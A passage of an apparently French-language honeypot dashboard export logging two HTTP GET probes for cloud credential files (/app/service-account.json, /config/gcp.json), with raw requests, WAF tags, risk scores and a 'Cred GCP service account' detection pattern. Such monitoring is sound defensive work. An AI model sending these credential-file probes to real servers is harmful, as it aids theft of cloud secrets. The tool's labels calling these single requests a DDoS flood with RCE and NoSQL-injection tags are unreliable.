"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /app/service-account.json
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /app/service-account.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
net_web_probe
Cible HTTP
GET
/app/service-account.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/app/service-account.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred GCP service account
Ligne de requête
GET /app/service-account.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /app/service-account.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap
Requête brute (extrait)
GET /app/service-account.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "0e2bb872ecdd145aea5015bb72e0fea2b7e7a161",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 222,
"payload_entropy": 5.343074838560255,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 63,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "f24aa19b861b9f57d88ee4561751cd3e6d0a2752",
"event_fingerprint": "451c8f5d6916983be223b9c3882a731244666dad",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"matched_patterns": [
"pat-0476"
],
"matched_pattern_names": [
"Cred GCP service account"
],
"pattern_ids": [
"pat-0476"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "41873e2d2c771d22cb0f96b0dd09e171",
"path_pattern_hash": "efe726bc2ce5178dc196c8845be02378"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"method": "GET",
"path": "\/app\/service-account.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/app\/service-account.json HTTP\/1.1",
"request_sample": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"evidence": {
"method": "GET",
"path": "\/app\/service-account.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/app\/service-account.json HTTP\/1.1",
"request_sample": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d791d380893fc8e7c77f8b1d24891ec0899626d6",
"protocol_details": {
"http_method": "GET",
"http_path": "\/app\/service-account.json",
"request_line": "GET \/app\/service-account.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/app\/service-account.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/app\/service-account.json",
"request_line": "GET \/app\/service-account.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/app\/service-account.json",
"evidence_snippet": "GET \/app\/service-account.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Ap",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:10 UTC
TCP
8080 · HTTP
Flood / DDoS
http flood · via HTTP:8080 · (tentative d'exploit) · → /config/gcp.json
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1499
TA0001
TA0002
Protocole
GET /config/gcp.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
19
Recommandation
Investiguer
Tags
950326:rce-0
950468:nosqli-3
950470:nosqli-3
http_probe_config
Cible HTTP
GET
/config/gcp.json
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/config/gcp.json
Pourquoi cette classification : Type « http_flood » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 3 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1499
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /config/gcp.json HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /config/gcp.json HTTP/1.1
connection: close
accept: */*
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
Requête brute (extrait)
GET /config/gcp.json HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "json",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "566815fac30c7c2ef38d625260c78218da1c1a9d",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 213,
"payload_entropy": 5.340690204325704,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 84,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5,
"risk_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 64,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "6104b54d9c1c965f8d00df6fa7cc90d4531b90e8",
"event_fingerprint": "63efa12f25e7d6513bae5dd4255e98bf65b52d79",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 122,
"precision_signals": [
"MITRE-T1499"
],
"kb_rule_ids": [
"MITRE-T1499"
],
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 64
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "bffbc224d7d1596017c1c5648bd9e7e3",
"path_pattern_hash": "d3e6aa3cbf62b877eb8036dac52ff470"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"payload_preview": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit",
"method": "GET",
"path": "\/config\/gcp.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/config\/gcp.json HTTP\/1.1",
"request_sample": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit",
"evidence": {
"method": "GET",
"path": "\/config\/gcp.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/config\/gcp.json HTTP\/1.1",
"request_sample": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080\r\n\r\n",
"payload_snippet": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit",
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1499"
],
"mitre": "T1499",
"threat_family": [
"ddos"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "43aa627dcb8a924e3731f1539ab9ae57f6a7c2f8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/config\/gcp.json",
"request_line": "GET \/config\/gcp.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit",
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/config\/gcp.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab http_flood \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1499 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 84,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1499"
],
"tags_summary_labels_fr": [
"MITRE-T1499"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1499",
"mitre_technique": "T1499",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/config\/gcp.json",
"request_line": "GET \/config\/gcp.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http flood \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/config\/gcp.json",
"evidence_snippet": "GET \/config\/gcp.json HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 84 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_probe_config",
"net_web_probe"
],
"asn_dc_heuristic": true
}